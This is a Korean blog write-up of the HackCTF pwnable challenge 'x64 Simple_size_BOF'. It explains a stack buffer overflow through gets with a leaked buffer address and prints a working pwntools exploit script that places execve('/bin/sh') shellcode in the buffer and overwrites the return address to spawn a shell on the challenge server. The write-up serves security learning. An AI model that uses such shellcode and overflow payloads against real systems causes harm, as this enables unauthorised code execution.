반응형
Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 개발하기
- 시스템해킹
- 개발 환경 준비
- windows kernel debugging
- Network Byte Order
- 바이트 오더
- 네트워크 바이트 오더
- 해킹
- vcruntime140.dll
- Windows
- ucrtbase.dll
- pwnable
- Windows Kernel Driver
- Msvcrt.dll
- apphelp.dll
- Windows Kernel
- pcap packet capture
- IAT Hooking
- Windows Kernel Debug
- 윈도우 커널 드라이버
- vcruntime.dll
- arudino
- pcap packet
- hacking
- 윈도우 커널
- C언어 패킷캡쳐
- 포너블
- HackCTF
- packet capture
- 윈도우 커널 디버깅
Archives
- Today
- Total
미친해커
[HackCTF] Pwnable : x64 Simple_size_BOF (Simple_size_bof) 본문
반응형
먼저 보호기법을 확인하자
보호 기법은 아무것도 안 걸려 있다. 어떤 공격을 시도해도 가능할 것 같다.
우선 함수를 살펴보면 v4의 사이즈가 엄청난걸 확인할 수 있다. 무려 27,952 (0x6D30) 바이트다. gets 함수에서 BOF가 발생하는데 그 전에 printf 함수에서 v4의 주소를 출럭해준다. 한번 실행을 해보자
v4의 주소를 출력해주고 입력을 받은 뒤 종료하는걸 볼 수 있다. v4의 주소를 알 수 있으니 shellcode를 넣고 ret 주소를 v4로 덮어쓰면 Shell이 따지면서 flag를 얻을 수 있을 것 같다. ASLR때문에 계속 stack의 주소가 바뀌지만 v4의 주소를 출력해주기때문에 문제 없다.
# file : Simple_size_bof.py
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3005)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.recvuntil('buf: ')
buf = int(p.recv(18), 0)
payload = shellcode + 'A' * (0x6d38 - len(shellcode)) + p64(buf)
p.sendline(payload)
p.interactive()
exploit 코드에서 recvuntil은 특정 문자열이 나올때까지 문자를 받아서 반환하는 함수이고 recv는 지정된 갯수만큼 문자를 받아오는 함수이다.
반응형
'Hacking > HackCTF' 카테고리의 다른 글
[HackCTF] Pwnable : Offset (0) | 2021.06.26 |
---|---|
[HackCTF] Pwnable : Simple_Overflow_ver_2 (0) | 2021.06.21 |
[HackCTF] Pwnable : x64 Buffer Overflow (64bof_basic) (0) | 2021.06.18 |
[HackCTF] Pwnable : 내 버퍼가 흘러넘친다!!! (prob1) (0) | 2021.06.17 |
[HackCTF] Pwnable : Basic_FSB (0) | 2021.06.17 |
Comments